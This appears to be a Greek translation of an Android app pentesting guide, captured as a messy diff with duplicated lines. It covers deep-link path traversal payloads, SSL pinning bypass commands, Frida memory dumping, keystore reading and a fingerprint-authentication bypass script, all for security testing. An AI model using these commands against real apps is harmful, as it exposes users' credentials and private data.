Οι Content providers χρησιμοποιούνται βασικά για να **μοιράζουν δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους content providers ίσως να μπορείτε να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Επίσης είναι ενδιαφέρον να δοκιμάσετε πιθανά **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτα.
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε Content Providers με Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
Υπενθύμιση ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`.
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένα Service.**](android-applications-basics.md#services)\
|
||||
Θυμηθείτε ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`.
|
||||
|
||||
Ένα service είναι βασικά κάτι που **μπορεί να λαμβάνει δεδομένα**, να τα **επεξεργάζεται** και να **επιστρέφει** (ή όχι) μια απάντηση. Επομένως, αν μια εφαρμογή εξάγει κάποιο services πρέπει να **ελέγξετε** τον **κώδικα** για να καταλάβετε τι κάνει και να το **δοκιμάσετε** **δυναμικά** για εξαγωγή εμπιστευτικών πληροφοριών, bypassing authentication measures...\
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
Ένα service είναι βασικά κάτι που **μπορεί να λαμβάνει δεδομένα**, να τα **επεξεργάζεται** και να **επιστρέφει** (ή όχι) μια απάντηση. Έτσι, αν μια εφαρμογή εξάγει κάποια services θα πρέπει να **ελέγξετε** τον **κώδικα** για να καταλάβετε τι κάνει και να το **δοκιμάσετε** **δυναμικά** για εξαγωγή εμπιστευτικών πληροφοριών, παράκαμψη μέτρων authentication...\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε Services με Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Υπενθύμιση ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`.
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένα Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Θυμηθείτε ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`.
|
||||
|
||||
Ένας broadcast receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, μπορεί να είναι ευπαθής.\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
Ένας broadcast receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε Broadcast Receivers με Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Μπορείτε να **ανοίξετε** ένα δηλωμένο **scheme** χρησιμοποιώντας **adb** ή έναν **browser**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Σημειώστε ότι μπορείτε να **παραλείψετε το όνομα πακέτου** και το κινητό θα καλέσει αυτόματα την εφαρμογή που πρέπει να ανοίξει αυτόν τον σύνδεσμο._
|
||||
_Σημειώστε ότι μπορείτε να **παραλείψετε το package name** και το κινητό θα καλέσει αυτόματα την εφαρμογή που πρέπει να ανοίξει αυτόν τον σύνδεσμο._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Code executed**
|
||||
**Κώδικας που εκτελείται**
|
||||
|
||||
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην App**, πηγαίνετε στην activity που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**.
|
||||
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην App**, μεταβείτε στην activity που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**Sensitive info**
|
||||
**Ευαίσθητες πληροφορίες**
|
||||
|
||||
Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει sensitive data (όπως passwords) μέσω URL parameters**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε να **προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!**
|
||||
Every time you find a deep link check that i**δεν λαμβάνει ευαίσθητα δεδομένα (όπως passwords) μέσω URL παραμέτρων**, because any other application could **impersonate the deep link and steal that data!**
|
||||
|
||||
**Parameters in path**
|
||||
|
||||
Πρέπει επίσης να ελέγξετε αν κάποιο deep link χρησιμοποιεί παράμετρο μέσα στο path του URL όπως: `https://api.example.com/v1/users/{username}` , σε αυτή την περίπτωση μπορείτε να προκαλέσετε path traversal προσπελάζοντας κάτι σαν: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να καταφέρετε να προκαλέσετε **Open Redirect** (αν μέρος του path χρησιμοποιείται ως domain name), **account takeover** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το vuln endpoint χρησιμοποιούσε τη σωστή μέθοδο) και οποιαδήποτε άλλη vuln. Περισσότερα [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
You **πρέπει επίσης να ελέγξετε αν οποιοδήποτε deep link χρησιμοποιεί παράμετρο μέσα στο path** του URL όπως: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**More examples**
|
||||
|
||||
Ένα [interesting bug bounty report](https://hackerone.com/reports/855618) σχετικά με links (_/.well-known/assetlinks.json_).
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
|
||||
- **Certificates are not always inspected properly** από Android applications. Είναι συχνό αυτές οι εφαρμογές να αγνοούν προειδοποιήσεις και να αποδέχονται self-signed certificates ή, σε μερικές περιπτώσεις, να επιστρέφουν στη χρήση HTTP connections.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, χρησιμοποιώντας insecure cipher suites. Αυτό το πρόβλημα κάνει τη σύνδεση ευάλωτη σε man-in-the-middle (MITM) attacks, επιτρέποντας σε επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
- **Leakage of private information** είναι ένας κίνδυνος όταν εφαρμογές authenticate χρησιμοποιώντας secure channels αλλά στη συνέχεια επικοινωνούν μέσω non-secure channels για άλλες συναλλαγές. Αυτή η προσέγγιση δεν προστατεύει ευαίσθητα δεδομένα, όπως session cookies ή στοιχεία χρήστη, από υποκλοπή από κακόβουλους φορείς.
|
||||
- **Certificates are not always inspected properly** by Android applications. Συχνά αυτές οι εφαρμογές παραβλέπουν προειδοποιήσεις και αποδέχονται self-signed certificates ή, σε μερικές περιπτώσεις, επιστρέφουν στη χρήση HTTP connections.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, χρησιμοποιώντας insecure cipher suites. Αυτό το πρόβλημα καθιστά τη σύνδεση ευάλωτη σε man-in-the-middle (MITM) attacks, επιτρέποντας σε επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
- **Leakage of private information** είναι ένας κίνδυνος όταν οι εφαρμογές αυθεντικοποιούνται μέσω secure channels αλλά μετά επικοινωνούν μέσω μη ασφαλών καναλιών για άλλες συναλλαγές. Αυτή η προσέγγιση δεν προστατεύει ευαίσθητα δεδομένα, όπως session cookies ή λεπτομέρειες χρήστη, από υποκλοπή από κακόβουλους φορείς.
|
||||
|
||||
#### Certificate Verification
|
||||
|
||||
Θα επικεντρωθούμε στην **certificate verification**. Η ακεραιότητα του server's certificate πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί insecure TLS configurations και η μετάδοση sensitive data πάνω από μη κρυπτογραφημένες συνδέσεις μπορούν να δημιουργήσουν σημαντικούς κινδύνους. Για αναλυτικά βήματα σχετικά με την επαλήθευση server certificates και την επίλυση ευπαθειών, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει πλήρεις οδηγίες.
|
||||
Θα εστιάσουμε στην **certificate verification**. Η ακεραιότητα του server's certificate πρέπει να επαληθεύεται για την ενίσχυση της ασφάλειας. Αυτό είναι κρίσιμο επειδή insecure TLS ρυθμίσεις και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να δημιουργήσουν σημαντικούς κινδύνους. Για αναλυτικά βήματα σχετικά με την επαλήθευση των server certificates και την αντιμετώπιση ευπαθειών, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει πλήρεις οδηγίες.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning είναι ένα security μέτρο όπου η εφαρμογή επαληθεύει το server's certificate σε σχέση με ένα γνωστό αντίγραφό του που φυλάσσεται μέσα στην εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή MITM attacks. Συνιστάται έντονα η υλοποίηση του SSL Pinning για εφαρμογές που χειρίζονται sensitive information.
|
||||
SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το server's certificate έναντι ενός γνωστού αντιγράφου που αποθηκεύεται μέσα στην εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη MITM attacks. Η υλοποίηση του SSL Pinning συνιστάται έντονα για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
|
||||
|
||||
#### Traffic Inspection
|
||||
|
||||
Για να επιθεωρήσετε HTTP traffic, είναι απαραίτητο να **εγκαταστήσετε το proxy tool's certificate** (π.χ. Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, το κρυπτογραφημένο traffic μπορεί να μην είναι ορατό μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Για να επιθεωρήσετε HTTP traffic, είναι απαραίτητο να **εγκαταστήσετε το certificate του proxy εργαλείου** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του certificate, το κρυπτογραφημένο traffic μπορεί να μην είναι ορατό μέσω του proxy. Για έναν οδηγό εγκατάστασης custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Εφαρμογές που στοχεύουν **API Level 24 and above** απαιτούν τροποποιήσεις στο Network Security Config για να αποδεχτούν το proxy's CA certificate. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένου traffic. Για οδηγίες σχετικά με την τροποποίηση του Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Applications targeting **API Level 24 and above** απαιτούν τροποποιήσεις στο Network Security Config για να αποδεχτούν το CA certificate του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κυκλοφορίας. Για οδηγίες σχετικά με την τροποποίηση του Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**this page**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το certificate στο store δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα με έγκυρες CAs.
|
||||
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). Αυτό συμβαίνει επειδή, απλώς προσθέτοντας το certificate στο store δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα με έγκυρα CAs.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
|
||||
Πριν επιχειρήσετε runtime bypasses, χαρτογραφήστε γρήγορα που επιβάλλεται το pinning στο APK. Η static discovery βοηθά στο να σχεδιάσετε hooks/patches και να εστιάσετε στα σωστά code paths.
|
||||
Πριν επιχειρήσετε runtime bypasses, εντοπίστε γρήγορα που επιβάλλεται το pinning στο APK. Η στατική ανακάλυψη βοηθά να σχεδιάσετε hooks/patches και να επικεντρωθείτε στα σωστά code paths.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility που decompiles το APK σε Smali (μέσω apktool) και σαρώνει για curated regex patterns υλοποιήσεων SSL/TLS pinning.
|
||||
- Αναφέρει ακριβές file path, αριθμό γραμμής, και ένα code snippet για κάθε match.
|
||||
- Open-source static-analysis utility που αποσυμπιέζει το APK σε Smali (μέσω apktool) και σαρώνει για curated regex patterns των SSL/TLS pinning implementations.
|
||||
- Αναφέρει το ακριβές file path, line number, και ένα code snippet για κάθε match.
|
||||
- Καλύπτει κοινά frameworks και custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, και Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
@ -463,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Παραδείγματα pattern κανόνων (JSON)
|
||||
Χρησιμοποιήστε ή επεκτείνετε signatures για να εντοπίσετε proprietary/custom pinning styles. Μπορείτε να φορτώσετε το δικό σας JSON και να σαρώσετε σε μεγάλη κλίμακα.
|
||||
Παράδειγμα κανόνων pattern (JSON)
|
||||
Χρησιμοποιήστε ή επεκτείνετε τις signatures για να εντοπίσετε ιδιόκτητους/προσαρμοσμένους pinning styles. Μπορείτε να φορτώσετε το δικό σας JSON και να scan at scale.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -478,45 +484,45 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
]
|
||||
}
|
||||
```
|
||||
Notes and tips
|
||||
- Γρήγορο scanning σε μεγάλες εφαρμογές μέσω multi-threading και memory-mapped I/O· pre-compiled regex μειώνει το overhead/false positives.
|
||||
Σημειώσεις και συμβουλές
|
||||
- Γρήγορη σάρωση σε μεγάλες εφαρμογές μέσω multi-threading και memory-mapped I/O; pre-compiled regex μειώνει το overhead/false positives.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Typical detection targets to triage next:
|
||||
- Τυπικοί στόχοι ανίχνευσης για προτεραιοποίηση:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Χρησιμοποιήστε τις εντοπισμένες τοποθεσίες για να σχεδιάσετε Frida hooks, static patches, ή reviews των config πριν από dynamic testing.
|
||||
- Δηλωτικά pins σε res/xml network security config και αναφορές στο manifest
|
||||
- Χρησιμοποιήστε τις αντιστοιχισμένες τοποθεσίες για να προγραμματίσετε Frida hooks, static patches, ή reviews του config πριν από δυναμικές δοκιμές.
|
||||
|
||||
|
||||
|
||||
#### Παράκαμψη SSL Pinning
|
||||
|
||||
Όταν εφαρμόζεται το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για να ελεγχθεί η κίνηση HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό:
|
||||
Όταν έχει υλοποιηθεί SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κίνησης. Υπάρχουν διάφορες μέθοδοι για αυτόν τον σκοπό:
|
||||
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το μεγαλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε ξανά τη νέα, και αυτό δεν λειτουργεί πάντα.
|
||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (συστήνεται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ υπάρχει ένας οδηγός για χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||
- Αν νομίζετε ότι υπάρχει ακόμα κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το μεγαλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα δουλεύει πάντα.
|
||||
- Μπορείτε να χρησιμοποιήσετε το **Frida** (περιγράφεται παρακάτω) για να παρακάμψετε αυτήν την προστασία. Εδώ υπάρχει ένας οδηγός για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Μπορείτε επίσης να δοκιμάσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Μπορείτε επίσης να δοκιμάσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||
- Εάν εξακολουθείτε να νομίζετε ότι υπάρχει κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση προς burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Αναζήτηση κοινών web ευπαθειών
|
||||
#### Αναζήτηση κοινών Web ευπαθειών
|
||||
|
||||
Είναι σημαντικό επίσης να αναζητήσετε κοινές web ευπάθειες μέσα στην εφαρμογή. Λεπτομέρειες για τον εντοπισμό και την αντιμετώπιση αυτών των ευπαθειών υπερβαίνουν το πλαίσιο αυτής της περιληπτικής παρουσίασης αλλά καλύπτονται εκτενώς αλλού.
|
||||
Είναι σημαντικό επίσης να αναζητήσετε κοινές web ευπάθειες εντός της εφαρμογής. Λεπτομερείς πληροφορίες για την αναγνώριση και τη μετρίαση αυτών των ευπαθειών υπερβαίνουν το εύρος αυτής της περίληψης αλλά καλύπτονται εκτενώς σε άλλα μέρη.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) είναι ένα toolkit δυναμικής instrumentation για developers, reverse-engineers και ερευνητές ασφαλείας.\
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση στην τρέχουσα εφαρμογή και να κάνετε hook μεθόδους σε runtime για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να τρέξετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να pentest εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
[Frida](https://www.frida.re) είναι ένα dynamic instrumentation toolkit για developers, reverse-engineers, και security researchers.\
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση σε τρέχουσα εφαρμογή και να κάνετε hook μεθόδους σε runtime για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να τρέξετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να pentest Android applications πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
|
||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Κάποια "GUI" για ενέργειες με Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Μπορείτε να βρείτε μερικά Awesome Frida scripts εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Προσπαθήστε να παρακάμψετε anti-debugging / anti-frida μηχανισμούς φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning ροή παράκαμψης
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
@ -524,9 +530,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή mnemonics.
|
||||
Ελέγξτε εάν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως passwords ή mnemonics.
|
||||
|
||||
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
|
||||
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -535,70 +541,68 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Αυτό θα dump τη μνήμη στο φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν:
|
||||
Αυτό θα dump τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Ευαίσθητα δεδομένα στο Keystore**
|
||||
|
||||
Στο Android το Keystore είναι το καλύτερο μέρος για την αποθήκευση ευαίσθητων δεδομένων, όμως με επαρκή προνόμια εξακολουθεί να είναι **εφικτό να αποκτηθεί πρόσβαση σε αυτό**.
|
||||
Στο Android το Keystore είναι το καλύτερο μέρος για να αποθηκεύονται ευαίσθητα δεδομένα, ωστόσο, με επαρκή προνόμια εξακολουθεί να είναι **εφικτό να αποκτηθεί πρόσβαση σε αυτό**. Δεδομένου ότι οι εφαρμογές τείνουν να αποθηκεύουν εδώ **sensitive data in clear text**, τα pentests θα πρέπει να το ελέγχουν ως root user ή κάποιοι με φυσική πρόσβαση στη συσκευή θα μπορούσαν να κλέψουν αυτά τα δεδομένα.
|
||||
|
||||
Επειδή οι εφαρμογές τείνουν να αποθηκεύουν εδώ **sensitive data in clear text**, οι pentests πρέπει να το ελέγξουν, καθώς ένας χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να κλέψει αυτά τα δεδομένα.
|
||||
Ακόμα κι αν μια εφαρμογή αποθήκευσε δεδομένα στο keystore, τα δεδομένα πρέπει να είναι κρυπτογραφημένα.
|
||||
|
||||
Ακόμη και αν μια εφαρμογή αποθήκευσε δεδομένα στο Keystore, τα δεδομένα πρέπει να είναι κρυπτογραφημένα.
|
||||
|
||||
Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο Keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Χρησιμοποιώντας το παρακάτω Frida script, ενδέχεται να είναι δυνατό να γίνει **bypass fingerprint authentication** που πραγματοποιούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
Χρησιμοποιώντας το παρακάτω Frida script, μπορεί να είναι δυνατό να **bypass fingerprint authentication** που ενδέχεται να εκτελούν οι Android εφαρμογές προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Εικόνες φόντου**
|
||||
### **Εικόνες Φόντου**
|
||||
|
||||
Όταν βάζετε μια εφαρμογή στο παρασκήνιο, Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** ώστε όταν επανέλθει στο προσκήνιο να αρχίζει να φορτώνει την εικόνα πριν την εφαρμογή ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα.
|
||||
Όταν βάζετε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** έτσι ώστε όταν επανέλθει στο προσκήνιο να αρχίσει να φορτώνει την εικόνα πριν την εφαρμογή, κάνοντάς την να φαίνεται ότι φορτώθηκε πιο γρήγορα.
|
||||
|
||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεται root για να αποκτήσετε πρόσβαση).
|
||||
Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεστε root για πρόσβαση).
|
||||
|
||||
